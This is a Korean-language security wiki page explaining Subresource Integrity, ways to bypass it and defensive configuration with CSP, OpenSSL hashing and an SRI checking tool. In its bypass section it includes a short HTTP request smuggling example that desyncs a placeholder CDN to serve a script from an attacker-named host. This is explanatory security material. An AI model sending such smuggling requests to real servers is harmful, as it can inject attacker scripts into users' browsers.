SRI

Subresource Integrity

Introduction

SRI(Subresource Integrity)는 JS,CSS 등의 리소스의 무결성을 검사하는 방법으로 CDN과 같은 3rd Party에서의 보안 사고 시 서비스를 지키기 위한 보안 기능입니다.

SRI 무결성 검사에 사용되는 값은 Base64로 인코딩된 cryptographic hash로 3rd Party에선 리소스의 데이터에 대해 hash한 후 이를 제공하고, 서비스 페이지에서 script, link 태그 등으로 SRI 사용 시 브라우저는 cryptographic hash 값과 원본이 동일한지 체크하여 변조 여부를 확인합니다.

<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js" 
		integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" 
		crossorigin="anonymous">
</script>

Offensive techniques

Bypass SRI

Browser Vulnerability

SRI가 적용된 태그의 경우 3rd Party가 해킹되더라도 악의적인 스크립트가 서비스 사용자의 브라우저에서 로드되지 못합니다. 이를 우회하는 경우는 Browser 자체의 취약점이 대부분입니다.

Dynamic SRI

편의성을 위해 SRI 값을 동적으로 할당하는 경우 우회의 여지가 존재합니다. 공격을 위해 다만 3rd Party와 서비스에 동시에 공격이 일어나야 하기 때문에 공격자 입장에선 공격 비용이 조금 높습니다.

With HRS

HRS(HTTP Request Smuggling)은 글로벌한 사용자를 대상으로한 Desync attack이 가능합니다. 이러한 경우 서비스 또는 3rd Party 도메인에서 사용자에게 전달될 Response를 광범위하게 조작할 수 있기 때문에 이러한 취약점이 서비스에 존재하는 경우 SRI를 무력화할 수 있습니다.

POST /dist/jquery.min.js HTTP/1.1
Host: cdn.vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked

0
GET /jquery.js HTTP/1.1
Host: attacker-cdn.com

HRS 공격에 대한 자세한 내용은 Cullinan > HRS 글을 참고해주세요.

Defensive techniques

Using SRI

SRI 적용을 위해선 3rd Party 도메인에서 CORS를 지원해야합니다. 그래서 모든 CDN 서비스에서 사용할 수 있는 것은 아니고 해당 서비스에서 기능적으로 제공되어야 사용할 수 있습니다.

<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js" 
		integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" 
		crossorigin="anonymous">
</script>

jsdelivr, cdnjs 등 대표적인 CDN 서비스에선 File에 대한 URL 또는 HTML을 복사할 때 SRI를 포함하여 복사할 수 있도록 제공하고 있습니다.

jsdelivr

cdnjs

With CSP

CSP에선 SRI 검사를 사용할 파일 유형을 정할 수 있습니다.

// Only Style
Content-Security-Policy: require-sri-for style;

// Only Javascript
Content-Security-Policy: require-sri-for script;

// Both
Content-Security-Policy: require-sri-for script style;

Serve SRI hash

With OpenSSL

SRI는 Hash 이기 때문에 OpenSSL로 쉽게 생성할 수 있습니다. sha384 등으로 Hash 생성 후 Base64 인코딩하여 제공하면 됩니다.

cat yourapp.js | openssl dgst -sha384 -binary | openssl base64 -A

단 브라우저에서 SRI 적용 시 원본 값과 맞는지 체크하기 위해 서버에 접근하고 결과를 가져와야 하고, 당연히 브라우저의 SOP 정책에 영향을 받기 떄문에 CORS를 사용하게 됩니다. 그래서 서버는 SRI 제공을 위해 ACAO 헤더를 Wildcard로 전달해줘야 합니다.

Access-Control-Allow-Origin: *

Wildcard ACAO에 대한 자세한 내용은 아래 글을 참고해주세요.

https://www.hahwul.com/2019/04/10/why-failed-get-data-with-this-cors-policy/

With SRI Cheker

git clone https://github.com/4armed/sri-check
cd sri-check
pip3 install -r requirements.txt
./sri-check <URL> -g

e.g

Supportd CDN

이외에도 많은 CDN 서비스들이 SRI를 지원합니다.

References